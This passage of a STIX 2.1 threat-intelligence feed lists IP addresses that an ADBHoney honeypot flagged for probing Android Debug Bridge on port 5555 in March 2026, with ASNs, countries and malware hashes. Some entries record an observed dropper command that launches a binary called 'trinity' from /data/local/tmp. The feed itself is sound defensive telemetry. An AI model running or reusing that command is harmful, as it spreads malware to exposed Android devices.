      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=61; ports=5555; cc=HK; asn=4760; asn_org=HKT Limited; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=61 | first_seen=2026-03-15T10:18:12.000Z | last_seen=2026-03-15T10:30:07.796Z | ports=5555 | cc=HK | asn=4760 | org=HKT Limited | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--768f7e79-b540-41de-a6f2-344c50ea4e92",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '112.120.115.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T11:00:02.000Z",
      "valid_until": "2026-04-16T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 61,
          "first_seen": "2026-03-15T10:18:12.000Z",
          "last_seen": "2026-03-15T10:30:07.796Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "4760"
          ],
          "org": [
            "HKT Limited"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=61; ports=5555; cc=HK; asn=4760; asn_org=HKT Limited; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=61 | first_seen=2026-03-15T10:18:12.000Z | last_seen=2026-03-15T10:30:07.796Z | ports=5555 | cc=HK | asn=4760 | org=HKT Limited | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--768f7e79-b540-41de-a6f2-344c50ea4e92",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '112.120.115.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T11:00:02.000Z",
      "valid_until": "2026-04-16T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 61,
          "first_seen": "2026-03-15T10:18:12.000Z",
          "last_seen": "2026-03-15T10:30:07.796Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "4760"
          ],
          "org": [
            "HKT Limited"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T12:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=12; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-12T20:05:24.000Z | last_seen=2026-03-15T12:01:49.995Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--dfeec42f-0f2a-44ec-9d86-fc4331e14666",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '221.233.24.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T12:00:03.000Z",
      "valid_until": "2026-04-16T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-12T20:05:24.000Z",
          "last_seen": "2026-03-15T12:01:49.995Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T12:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=12; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-12T20:05:24.000Z | last_seen=2026-03-15T12:01:49.995Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--dfeec42f-0f2a-44ec-9d86-fc4331e14666",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '221.233.24.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T12:00:03.000Z",
      "valid_until": "2026-04-16T12:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-12T20:05:24.000Z",
          "last_seen": "2026-03-15T12:01:49.995Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-15T13:14:24.000Z | last_seen=2026-03-20T03:56:53.908Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--cc0f9641-d1c4-4acf-8690-876185165e80",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T14:00:03.000Z",
      "valid_until": "2026-04-16T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-15T13:14:24.000Z",
          "last_seen": "2026-03-20T03:56:53.908Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-15T13:13:41.000Z | last_seen=2026-03-15T13:14:47.517Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--adf4289a-2c0e-43fa-86c3-2d12d1b72d15",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T14:00:03.000Z",
      "valid_until": "2026-04-16T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-15T13:13:41.000Z",
          "last_seen": "2026-03-15T13:14:47.517Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-15T13:14:24.000Z | last_seen=2026-03-20T03:56:53.908Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--cc0f9641-d1c4-4acf-8690-876185165e80",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T14:00:03.000Z",
      "valid_until": "2026-04-16T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-15T13:14:24.000Z",
          "last_seen": "2026-03-20T03:56:53.908Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-15T13:13:41.000Z | last_seen=2026-03-15T13:14:47.517Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--adf4289a-2c0e-43fa-86c3-2d12d1b72d15",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T14:00:03.000Z",
      "valid_until": "2026-04-16T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-15T13:13:41.000Z",
          "last_seen": "2026-03-15T13:14:47.517Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-15T14:15:07.000Z | last_seen=2026-03-15T14:26:22.326Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--76125988-8eda-43be-a588-2658a05f19cd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T15:00:03.000Z",
      "valid_until": "2026-04-16T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-15T14:15:07.000Z",
          "last_seen": "2026-03-15T14:26:22.326Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=48; ports=5555; cc=HK; asn=9908; asn_org=HK Cable TV Ltd; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=52 | first_seen=2026-03-15T14:53:47.000Z | last_seen=2026-03-15T15:05:36.335Z | ports=5555 | cc=HK | asn=9908 | org=HK Cable TV Ltd | related_hashes=76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--6177db25-45f8-4c3d-9b73-bfac6360e055",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '218.252.170.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T15:00:03.000Z",
      "valid_until": "2026-04-16T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 52,
          "first_seen": "2026-03-15T14:53:47.000Z",
          "last_seen": "2026-03-15T15:05:36.335Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "9908"
          ],
          "org": [
            "HK Cable TV Ltd"
          ],
          "related_hashes": [
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-15T15:47:12.000Z | last_seen=2026-03-15T15:48:21.286Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--89c0df96-8612-4c94-8c4d-72ac52033b7a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '143.42.1.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T16:00:02.000Z",
      "valid_until": "2026-04-16T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-15T15:47:12.000Z",
          "last_seen": "2026-03-15T15:48:21.286Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T16:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-15T15:47:12.000Z | last_seen=2026-03-15T15:48:21.286Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--89c0df96-8612-4c94-8c4d-72ac52033b7a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '143.42.1.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T16:00:04.000Z",
      "valid_until": "2026-04-16T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-15T15:47:12.000Z",
          "last_seen": "2026-03-15T15:48:21.286Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-15T16:09:45.000Z | last_seen=2026-03-15T16:19:49.471Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--c36f2837-6aaa-4775-a06e-1874a96f7196",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '3.137.148.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T17:00:02.000Z",
      "valid_until": "2026-04-16T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-15T16:09:45.000Z",
          "last_seen": "2026-03-15T16:19:49.471Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T17:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-15T16:09:45.000Z | last_seen=2026-03-15T16:19:49.471Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--c36f2837-6aaa-4775-a06e-1874a96f7196",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '3.137.148.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T17:00:03.000Z",
      "valid_until": "2026-04-16T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-15T16:09:45.000Z",
          "last_seen": "2026-03-15T16:19:49.471Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-15T19:29:00.000Z | last_seen=2026-03-15T19:40:00.030Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--0849b532-99a3-4ccf-99ce-f430f021d261",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '146.190.214.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T20:00:02.000Z",
      "valid_until": "2026-04-16T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-15T19:29:00.000Z",
          "last_seen": "2026-03-15T19:40:00.030Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T20:00:02.000Z",
